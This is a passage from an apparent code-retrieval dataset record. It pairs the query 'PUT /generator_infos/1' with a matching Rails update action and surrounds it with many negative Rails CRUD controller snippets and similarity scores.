action: \"new\" }\n format.json { render json: @infographic.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @objects_info = ObjectsInfo.new(params[:objects_info])\n\n respond_to do |format|\n if @objects_info.save\n format.html { redirect_to @objects_info, notice: 'Objects info was successfully created.' }\n format.json { render json: @objects_info, status: :created, location: @objects_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @objects_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @genere = Genere.new(genere_params)\n\n respond_to do |format|\n if @genere.save\n format.html { redirect_to @genere, notice: 'Genere was successfully created.' }\n format.json { render :show, status: :created, location: @genere }\n else\n format.html { render :new }\n format.json { render json: @genere.errors, status: :unprocessable_entity }\n end\n end\n end", "def generate(info)\n @info = info\n @files = []\n @classes = []\n @hyperlinks = {}\n\n build_indices\n generate_xml\n end", "def create\n creator = Creator.new(creator_params)\n\n if creator.save\n render json: creator, status: :created\n else\n render json: creator.errors, status: :unprocessable_entry\n end\n\n end", "def create\n #@gift = Gift.new(gift_params)\n #create(giftname, gifturl, username)\n @id = gift_params[:giver]\n @user = Users.find_by(id: @id)\n puts params\n output = Gift.create(gift_params[:name], gift_params[:url], @user.username, params[:bio])\n render json: output\n # respond_to do |format|\n # if @gift.save\n # format.html { redirect_to @gift, notice: 'Gift was successfully created.' }\n # format.json { render :show, status: :created, location: @gift }\n # else\n # format.html { render :new }\n # format.json { render json: @gift.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @info_page = InfoPage.new(params[:info_page])\n\n respond_to do |format|\n if @info_page.save\n format.html { redirect_to admin_info_pages_path, notice: 'Info page was successfully created.' }\n format.json { render json: @info_page, status: :created, location: @info_page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @info_page.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @preparedinfo = Preparedinfo.new(preparedinfo_params)\n\n respond_to do |format|\n if @preparedinfo.save\n format.html { redirect_to @preparedinfo, notice: 'Preparedinfo was successfully created.' }\n format.json { render :show, status: :created, location: @preparedinfo }\n else\n format.html { render :new }\n format.json { render json: @preparedinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ingeniero = Ingeniero.new(ingeniero_params)\n\n respond_to do |format|\n if @ingeniero.save\n format.html { redirect_to @ingeniero, notice: 'Ingeniero was successfully created.' }\n format.json { render :show, status: :created, location: @ingeniero }\n else\n format.html { render :new }\n format.json { render json: @ingeniero.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @impgen = Impgen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @impgen }\n end\n end", "def getgenerate\n request :getgenerate\n end", "def new\n @creator_source = CreatorSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator_source }\n end\n end", "def create\n @registration = Registration.new(registration_params)\n\n if @registration.save\n @registration.generate_invoices\n\n render :show, status: :created\n else\n render json: @registration.errors.full_messages, status: :unprocessable_entity\n end\n end", "def create\n @renter = Renter.new(params[:renter])\n @locals = User.where(:city => @buyer.city)\n @users = @locals.random(5)\n respond_to do |format|\n if @renter.save\n @users.each do |user|\n RenterMailer.registration_welcome(@renter, user).deliver\n Renter.increment_counter(\"times_forwarded\", @renter.id)\n end\n format.html { redirect_to :submitted_page, :notice => 'Seller was successfully created.' }\n format.json { render :json => @renter, :status => :created, :location => @renter }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @renter.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @made_in_g = MadeInG.new(made_in_g_params)\n\n respond_to do |format|\n if @made_in_g.save\n format.html { redirect_to @made_in_g, notice: 'Made in g was successfully created.' }\n format.json { render :show, status: :created, location: @made_in_g }\n else\n format.html { render :new }\n format.json { render json: @made_in_g.errors, status: :unprocessable_entity }\n end\n end\n end", "def trackgen_info;\treturn @json_data['trackgen_info'];\tend", "def create\n megam_rest.post_promos(to_hash) #WONT BE USED AS OF NOW\n end", "def create\n @buyer = Buyer.new(params[:buyer])\n @locals = User.where(:city => @buyer.city)\n @users = @locals.random(5)\n respond_to do |format|\n if @buyer.save\n @users.each do |user|\n BuyerMailer.registration_welcome(@buyer, user).deliver\n Buyer.increment_counter(\"times_forwarded\", @buyer.id)\n end\n format.html { redirect_to :submitted_page, :notice => 'Seller was successfully created.' }\n format.json { render :json => @buyer, :status => :created, :location => @buyer }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @buyer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def getgenerate\n @api.request 'getgenerate'\n end", "def create\n @information_request = InformationRequest.new(params[:information_request])\n @information_request.request_timestamp = Time.now\n\n respond_to do |format|\n if @information_request.save\n InfoRequestConfirmation.requested(@information_request).deliver # send email\n format.html { redirect_to root_path, notice: 'Thank You! Your request for information has been successfully processed.' }\n #format.json { render json: @information_request, status: :created, location: @information_request }\n else\n format.html { render action: \"new\" }\n format.json { render json: @information_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @seller_info = SellerInfo.new(params[:seller_info])\n\n respond_to do |format|\n if @seller_info.save\n format.html { redirect_to @seller_info, notice: 'Seller info was successfully created.' }\n format.json { render json: @seller_info, status: :created, location: @seller_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @seller_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def create \n if InfoNode.duplicate_key?(params[:info_types])\n redirect_to :back, :alert => \"Key in the additional information shoud be unique\"\n return\n end\n\n unless params[:rid].nil?\n @rid = params[:rid].strip\n end\n\n @type = params[:type] \n\n @refs = []\n\n params[:refids].each_with_index do |ref_id, idx|\n @refs << {:ref_id => ref_id, :role => params[:labels][idx]}\n end unless params[:refids].nil?\n\n if @refs.empty?\n redirect_to :back, :alert => \"Please add references for a new relation\"\n return\n end\n\n @info_nodes = {}\n (0...params[:info_types].size).each do |i|\n key = params[:info_types][i]\n value = params[:info_values][i]\n if !key.nil? && !key.strip.blank? && !value.nil? && !value.strip.blank?\n @info_nodes[key] = value\n end\n end\n\n begin\n @collection = current_user.collections.find(params[:collection_id])\n raise \"Cannot find the collection No. #{params[:collection_id]}\" if @collection.nil?\n \n @document = @collection.documents.find_by_pmid(params[:document_id])\n raise \"Cannot find the document No. #{params[:document_id]}\" if @document.nil?\n \n @rid = @document.create_new_relation_id if @rid.blank?\n \n @relation = @document.create_relation(@rid, @type, @refs, @info_nodes)\n\n respond_to do |format|\n format.html { redirect_to \"/collections/#{@collection.id}/documents/#{@document.pmid}?tab=relation\", :notice => 'Relation was successfully created.' }\n format.json { render :json => @relation, :status => :created, :location => @relation }\n end\n rescue Exception => e\n logger.debug(e.backtrace)\n respond_to do |format|\n format.html { redirect_to :back, :alert => e.message}\n format.json { render json: @relation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @maker = Maker.new(maker_params)\n\n respond_to do |format|\n if @maker.save\n format.html { redirect_to @maker, notice: \"Maker was successfully created.\" }\n format.json { render :show, status: :created, location: @maker }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @maker.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @infobook = Infobook.new(infobook_params)\n\n respond_to do |format|\n if @infobook.save\n format.html { redirect_to @infobook, notice: 'Infobook was successfully created.' }\n format.json { render :show, status: :created, location: @infobook }\n else\n format.html { render :new }\n format.json { render json: @infobook.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @generator.update(generator_params)\n format.html { redirect_to @generator, notice: 'Generator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @informacao_ged = InformacaoGed.new(informacao_ged_params)\n\n respond_to do |format|\n if @informacao_ged.save\n format.html { redirect_to @informacao_ged, notice: 'Informação sobre o GED criada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @informacao_ged }\n else\n format.html { render action: 'new' }\n format.json { render json: @informacao_ged.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_information = Admin::Information.new(admin_information_params)\n\n respond_to do |format|\n if @admin_information.save\n format.html { redirect_to @admin_information }\n format.json { render :show, status: :created, location: @admin_information }\n else\n format.html { render :new }\n format.json { render json: @admin_information.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @maker = Maker.new(maker_params)\n\n respond_to do |format|\n if @maker.save\n format.html { redirect_to @maker, notice: 'Maker was successfully created.' }\n format.json { render :show, status: :created, location: @maker }\n else\n format.html { render :new }\n format.json { render json: @maker.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @info = Info.new(params[:info])\n if @info.save\n redirect_to infos_path, :notice => 'Info was successfully created.'\n else\n render :action => \"new\"\n end\n end", "def create\n @requester = Requester.new(requester_params)\n\n respond_to do |format|\n if @requester.save\n format.html { redirect_to @requester, notice: 'Requester was successfully created.' }\n format.json { render :show, status: :created, location: @requester }\n else\n format.html { render :new }\n format.json { render json: @requester.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @server_info = ServerInfo.new(params[:server_info])\n\n respond_to do |format|\n if @server_info.save\n format.html { redirect_to @server_info, notice: 'Server info was successfully created.' }\n format.json { render json: @server_info, status: :created, location: @server_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @server_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @game_info = GameInfo.new(game_info_params)\n\n respond_to do |format|\n if @game_info.save\n format.html { redirect_to @game_info, notice: 'Game info was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game_info }\n else\n format.html { render action: 'new' }\n format.json { render json: @game_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @info_type = InfoType.new(params[:info_type])\n\n respond_to do |format|\n if @info_type.save\n format.html { redirect_to @info_type, notice: 'Info type was successfully created.' }\n format.json { render json: @info_type, status: :created, location: @info_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @info_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_generator\n @generator = Generator.find(params[:id])\n end", "def create_infos(infos)\n # info Create\n infos.each do |record|\n \n # Start\n info = info.new\n \n #Add data\n info.name = record[:info_name]\n info.short_name = record[:short_name]\n info.industry_id = lookup_industry_id(record[:industry]) # format: 4e9fab7aa6c2321681000026 / lookup_industry_id(industry_name)\n info.active = true \n \n # Save it!\n if info.valid?\n info.save!\n puts \"The info #{record[:info_name]} has been added to the database.\" \n else\n puts \"Errors found with info: #{record[:info_name]}\"\n puts \"ERRORS: #{info.errors.full_messages}\"\n end\n \n puts \"---------------------------------------------------------------\"\n end\n puts \"DONE!\"\n end", "def create\n @order_info = OrderInfo.new(order_info_params)\n\n respond_to do |format|\n if @order_info.save\n format.html { redirect_to @order_info, notice: 'Order info was successfully created.' }\n format.json { render 'show', status: :created, location: @order_info }\n else\n set_order_masters\n format.html { render 'new' }\n format.json { render json: @order_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @supplier = Supplier.new\n 1.times { @supplier.phones.build }\n 1.times { @supplier.emails.build }\n 1.times { @supplier.addresses.build }\n #@phone = Phone.new\n #@email = Email.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @supplier }\n end\n end", "def create\n\n @estimation = Estimation.new(estimation_params)\n #Estimation.generation_new_item(params[:estimation])\n respond_to do |format|\n if @estimation.save\n format.html { redirect_to estimations_url, notice: 'Estimation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @estimation }\n else\n format.html { render action: 'new' }\n format.json { render json: @estimation.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n authorize! :create, @manual\n @manual = new_manual\n respond_to do |format|\n if @manual.save\n format.html { redirect_to manuals_path, notice: \"#{t(:manual_transaction)} #{t(:was_successfully_created)}\" }\n # format.json { render action: 'show', status: :created, location: @manual }\n else\n init_collection\n gon.push batches: ActiveModel::Serializer::CollectionSerializer.new(@batches, each_serializer: BatchSerializer)\n format.html { render action: 'new' }\n # format.json { render json: @manual.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @informations = Information.order('created_at desc')\n @information = Information.new(information_params)\n\n respond_to do |format|\n if @information.save\n format.html { redirect_to kegiatan_path, notice: 'Information was successfully created.' }\n format.json { render :show, status: :created, location: @information }\n else\n format.html { render :new }\n format.json { render json: @information.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @item_info = ItemInfo.new(params[:item_info])\n\n respond_to do |format|\n if @item_info.save\n format.html { redirect_to @item_info, notice: 'Item info was successfully created.' }\n format.json { render json: @item_info, status: :created, location: @item_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @relatorio = Relatorio.new(relatorio_params)\n\n respond_to do |format|\n if @relatorio.save\n format.html { redirect_to @relatorio, notice: 'Relatorio was successfully created.' }\n format.json { render :show, status: :created, location: @relatorio }\n else\n format.html { render :new }\n format.json { render json: @relatorio.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @insurer = Insurer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @insurer }\n end\n end", "def create\n @information = Information.new(params[:information])\n\n respond_to do |format|\n if @information.save\n format.html { redirect_to @information, :notice => 'Information was successfully created.' }\n format.json { render :json => @information, :status => :created, :location => @information }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @information.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @customer_info = CustomerInfo.new(customer_info_params)\n\n respond_to do |format|\n if @customer_info.save\n format.html { redirect_to @customer_info, notice: 'Customer info was successfully created.' }\n format.json { render :show, status: :created, location: @customer_info }\n else\n format.html { render :new }\n format.json { render json: @customer_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n p = params[:registration]\n training = Training.find_by_code(p[:training_code])\n owner = Student.find_by_wp_email(p[:owner_email])\n reg_type = p[:reg_type]\n if reg_type == 'single-self'\n registerable = owner\n elsif reg_type == 'single-other'\n registerable = Student.find_by_wp_email(p[:registrant_email])\n else \n registerable = Group.find_by_handle(p[:group_handle])\n end\n @registration = Registration.new(reg_type: reg_type)\n @registration.owner = owner\n @registration.registerable = registerable\n @registration.training = training\n\n # Fix this. We need to have a sequence in the database.\n @registration.code = 100000 + rand(900000)\n\n respond_to do |format|\n if @registration.save\n format.html { redirect_to @registration, notice: 'Registration was successfully created.' }\n format.json { render :show, status: :created, location: @registration }\n else\n format.html do\n @trainings = Training.all\n render :new\n end\n format.json { render json: @registration.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @spring_info = SpringInfo.new(spring_info_params)\n\n respond_to do |format|\n if @spring_info.save\n format.html { redirect_to @spring_info, notice: 'Spring info was successfully created.' }\n format.json { render :show, status: :created, location: @spring_info }\n else\n format.html { render :new }\n format.json { render json: @spring_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_info = UserInfo.new(user_info_params)\n\n respond_to do |format|\n if @user_info.save\n format.html { redirect_to @user_info, notice: 'User info was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_info }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @genotype = Genotype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @genotype }\n end\n end", "def update\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n if @generator.update_attributes(params[:generator])\n format.html { redirect_to admin_generator_path(@generator.id), notice: 'Generator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ninja = Ninja.new(params[:ninja])\n\n respond_to do |format|\n if @ninja.save\n format.html { redirect_to @ninja, notice: 'Ninja was successfully created.' }\n format.json { render json: @ninja, status: :created, location: @ninja }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ninja.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @debug_info = DebugInfo.new(debug_info_params)\n\n respond_to do |format|\n if @debug_info.save\n format.html { redirect_to @debug_info, notice: 'Debug info was successfully created.' }\n format.json { render action: 'show', status: :created, location: @debug_info }\n else\n format.html { render action: 'new' }\n format.json { render json: @debug_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @generators = Generator.all \n\n \n \n end", "def new\n @info_page = InfoPage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_page }\n end\n end", "def create\n current_dealer\n @dealerpersonalinfo = current_dealer().build_dealerpersonalinfo(dealerpersonalinfo_params)\n\n respond_to do |format|\n if @dealerpersonalinfo.save\n format.html { redirect_to @dealerpersonalinfo, notice: 'Dealerpersonalinfo was successfully created.' }\n format.json { render :show, status: :created, location: @dealerpersonalinfo }\n else\n format.html { render :new }\n format.json { render json: @dealerpersonalinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @crpyto_info = CrpytoInfo.new(crpyto_info_params)\n\n respond_to do |format|\n if @crpyto_info.save\n format.html { redirect_to @crpyto_info, notice: 'Crpyto info was successfully created.' }\n format.json { render :show, status: :created, location: @crpyto_info }\n else\n format.html { render :new }\n format.json { render json: @crpyto_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @request = Request.new\n 1.times do\n request_photo = @request.request_photos.build\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @information = Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @information }\n end\n end", "def create\n @ocs_generada = OcsGenerada.new(ocs_generada_params)\n\n respond_to do |format|\n if @ocs_generada.save\n format.html { redirect_to @ocs_generada, notice: 'Ocs generada was successfully created.' }\n format.json { render :show, status: :created, location: @ocs_generada }\n else\n format.html { render :new }\n format.json { render json: @ocs_generada.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7391535", "0.71054304", "0.70323473", "0.66751105", "0.6495501", "0.640216", "0.6315719", "0.6311654", "0.62511134", "0.61948544", "0.6192045", "0.61844724", "0.61558163", "0.60629576", "0.6049093", "0.60213625", "0.59857494", "0.59639215", "0.5924564", "0.5886682", "0.58646053", "0.5850511", "0.582567", "0.57131964", "0.5672581", "0.56654465", "0.5638754", "0.5638754", "0.5608557", "0.55586314", "0.55375767", "0.5505699", "0.5505578", "0.5505578", "0.5498129", "0.5489952", "0.54422086", "0.54405224", "0.5439319", "0.5425008", "0.5412096", "0.5394118", "0.5387187", "0.5385045", "0.5374415", "0.5369239", "0.53599817", "0.53592056", "0.5348863", "0.5348262", "0.534069", "0.53064275", "0.5304963", "0.5303252", "0.53031147", "0.5303012", "0.5301684", "0.52894706", "0.52813953", "0.5241507", "0.5238366", "0.52325547", "0.52303547", "0.52272105", "0.52183634", "0.5217142", "0.52104855", "0.5210152", "0.5209967", "0.52098364", "0.51938736", "0.5190023", "0.5187592", "0.51809263", "0.5174284", "0.51693827", "0.5165169", "0.51648426", "0.51485753", "0.5144677", "0.51416856", "0.5137216", "0.5133709", "0.5133332", "0.51288825", "0.512431", "0.51210487", "0.5116878", "0.5116459", "0.5110034", "0.5109917", "0.51095325", "0.5104479", "0.5100084", "0.50976306", "0.5092126", "0.50873137", "0.5083449", "0.50822437", "0.5081322" ]
0.7918936
0
PUT /generator_infos/1 PUT /generator_infos/1.json
def update @generator_info = GeneratorInfo.find(params[:id]) respond_to do |format| if @generator_info.update_attributes(params[:generator_info]) format.html { redirect_to @generator_info, notice: 'Generator info was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @generator_info.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @generator.update(generator_params)\n format.html { redirect_to @generator, notice: 'Generator was successfully updated.' }\n format.json { render :show, status: :ok, location: @generator }\n else\n format.html { render :edit }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @generator.update(generator_params)\n format.html { redirect_to @generator, notice: 'Generator was successfully updated.' }\n format.json { render :show, status: :ok, location: @generator }\n else\n format.html { render :edit }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @generator.update(generator_params)\n format.html { redirect_to @generator, notice: 'Generator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @generator_info = GeneratorInfo.new(params[:generator_info])\n\n respond_to do |format|\n if @generator_info.save\n format.html { redirect_to @generator_info, notice: 'Generator info was successfully created.' }\n format.json { render json: @generator_info, status: :created, location: @generator_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generator_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n if @generator.update_attributes(params[:generator])\n format.html { redirect_to admin_generator_path(@generator.id), notice: 'Generator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @small_generator = SmallGenerator.find(params[:id])\n\n respond_to do |format|\n if @small_generator.update_attributes(params[:small_generator])\n format.html { redirect_to @small_generator, notice: 'Small generator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @small_generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @generator_info = GeneratorInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator_info }\n end\n end", "def create\n @generator = Generator.new(params[:generator])\n \n respond_to do |format|\n if @generator.save\n format.html { redirect_to admin_generator_path(@generator.id), notice: 'Generator was successfully created.' }\n format.json { render json: @generator, status: :created, location: @generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @opportunity_generator = OpportunityGenerator.find(params[:id])\n\n respond_to do |format|\n if @opportunity_generator.update_attributes(params[:opportunity_generator])\n flash_message('Opportunity generator', true)\n format.html { redirect_to @opportunity_generator}\n format.json { head :no_content }\n else\n flash_message('Opportunity generator', false)\n format.html { render action: \"edit\" }\n format.json { render json: @opportunity_generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @generator = Generator.new(generator_params)\n\n respond_to do |format|\n if @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render :show, status: :created, location: @generator }\n else\n format.html { render :new }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @gen = Gen.find(params[:id])\n\n respond_to do |format|\n if @gen.update_attributes(params[:gen])\n format.html { redirect_to @gen, notice: 'Gen was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gen.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @generator_info = GeneratorInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator_info }\n end\n end", "def generator_params\n params.require(:generator).permit(:name, :notes, attrs_attributes: [:id, :name, :type, :_destroy], \n refgenerators_ids: [], refgenerators_names: [])\n end", "def update\n @generation = Generation.find(params[:id])\n\n respond_to do |format|\n if @generation.update_attributes(generation_params)\n format.html { redirect_to [:admin, @generation], notice: 'Generation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def generator_params\n params.require(:generator).permit(:name)\n end", "def set_generator\n @generator = Generator.find(params[:id])\n end", "def destroy\n @generator_info = GeneratorInfo.find(params[:id])\n @generator_info.destroy\n\n respond_to do |format|\n format.html { redirect_to generator_infos_url }\n format.json { head :no_content }\n end\n end", "def create\n @small_generator = SmallGenerator.new(params[:small_generator])\n\n respond_to do |format|\n if @small_generator.save\n format.html { redirect_to @small_generator, notice: 'Small generator was successfully created.' }\n format.json { render json: @small_generator, status: :created, location: @small_generator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @small_generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @generator = Generator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generator }\n end\n end", "def set_generator\n @generator = Generator.find(params[:id])\n end", "def set_generator\n @generator = Generator.find(params[:id])\n end", "def show\n @generator = Generator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator }\n end\n end", "def generator(options)\n id = unique_id\n generator = SnaGenerator.new(self, options)\n @repo.request_json(:put, path(\"snaGenerators/#{id}\"),\n :parameters => generator.to_params,\n :expected_status_code => 204)\n Query::PrologLiteral.new(id.to_sym)\n end", "def put(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_put(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def create\n @generator = Generator.new(generator_params)\n create_scaffold\n respond_to do |format|\n if @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render :show, status: :created, location: @generator }\n else\n format.html { render :new }\n format.json { render json: @generator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if handle_component && @generator.save\n format.html { redirect_to @generator, notice: 'Generator was successfully created.' }\n format.json { render action: 'show', status: :created, location: @generator }\n else\n format.html { render action: 'new' }\n format.json { render json: {status: :unprocessable_entity, errors: 'Could Not Create Generator'} }\n end\n end\n end", "def create\n @gen = Gen.new(params[:gen])\n\n respond_to do |format|\n if @gen.save\n format.html { redirect_to @gen, notice: 'Gen was successfully created.' }\n format.json { render json: @gen, status: :created, location: @gen }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gen.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @generation=Generation.find(params[:id])\n if @generation.update generation_params\n redirect_to ['admin', @generation], notice: \"Generación Actualizada\"\n else\n render :new\n end\n end", "def update\n #@gen_attraction = GenAttraction.create( gen_attraction_params )\n respond_to do |format|\n if @gen_attraction.update(gen_attraction_params)\n format.html { redirect_to :gen_attractions, notice: 'Gen attraction was successfully updated.' }\n format.json { respond_with_bip(@gen_attraction) }\n else\n format.html { render :edit }\n format.json { render json: @gen_attraction.errors, status: :unprocessable_entity }\n end\n end\n end", "def generation_params\n params.require(:generation).permit(:model_id, :name)\n end", "def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to ['admin', @generation], notice: 'Generación Creada' }\n format.json { render :show, status: :created, location: @generation }\n else\n format.html { render :new }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @small_generator = SmallGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @small_generator }\n end\n end", "def generator_params\n params.require(:generator).permit(:userid, :guid, :csvfile, :csvcount, :processedcount, :status)\n end", "def create\n @generation = Generation.new(generation_params)\n\n respond_to do |format|\n if @generation.save\n format.html { redirect_to [:admin, @generation], notice: 'Generation was successfully created.' }\n format.json { render json: @generation, status: :created, location: @generation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @genotype = Genotype.find(params[:id])\n\n respond_to do |format|\n if @genotype.update_attributes(params[:genotype])\n format.html { redirect_to @genotype, notice: 'Genotype was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @genotype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_gen\n respond_to do |format|\n # En etiquetas pone usuario actual por omision\n if (!params[:caso][:caso_etiqueta_attributes].nil?)\n params[:caso][:caso_etiqueta_attributes].each do |k,v|\n if (v[:usuario_id].nil? || v[:usuario_id] == \"\")\n v[:usuario_id] = current_usuario.id\n end\n end\n end\n\n # En familiares si falta crear trelacion_persona para personas\n # autocompletadas los crea\n if caso_params[:victima_attributes]\n caso_params[:victima_attributes].each do |iv, v|\n if v[:persona_attributes] &&\n v[:persona_attributes][:persona_trelacion1_attributes]\n v[:persona_attributes][:persona_trelacion1_attributes].each do |it, t|\n if t && (!t[:id] || t[:id] == '') &&\n t[:personados_attributes] &&\n t[:personados_attributes][:id] &&\n t[:personados_attributes][:id].to_i > 0 &&\n Msip::Persona.where(\n id: t[:personados_attributes][:id].to_i).count == 1\n pt_e = Msip::PersonaTrelacion.where(\n persona1: v[:persona_attributes][:id],\n persona2: t[:personados_attributes][:id]\n )\n if !pt_e\n pt = Msip::PersonaTrelacion.create({\n persona1: v[:persona_attributes][:id],\n persona2: t[:personados_attributes][:id]\n })\n pt.save!(validate: false)\n params[:caso][:victima_attributes][iv][:persona_attributes][:persona_trelacion1_attributes][it][:id] = pt.id\n else\n params[:caso][:victima_attributes][iv][:persona_attributes][:persona_trelacion1_attributes][it][:id] = pt_e[0].id\n end\n end\n end\n end\n end\n end\n\n if params[:_msip_enviarautomatico] == \"1\"\n params_finales = caso_params.except(\n :caso_etiqueta_attributes,\n :caso_anexo_attributes,\n :caso_fuenteprensa_attributes,\n :caso_fotra_attributes,\n :caso_presponsable_attributes\n )\n else\n params_finales = caso_params\n end\n\n if @caso.update(params_finales)\n\n\n if registrar_en_bitacora\n Msip::Bitacora.agregar_actualizar(\n request, :caso, :bitacora_cambio, \n current_usuario.id, params, 'Sivel2Gen::Caso',\n @caso.id\n )\n end\n\n #if request.params[:enviarFichaCaso] == '1'\n # head :no_content\n # return\n #end\n\n notificacion = 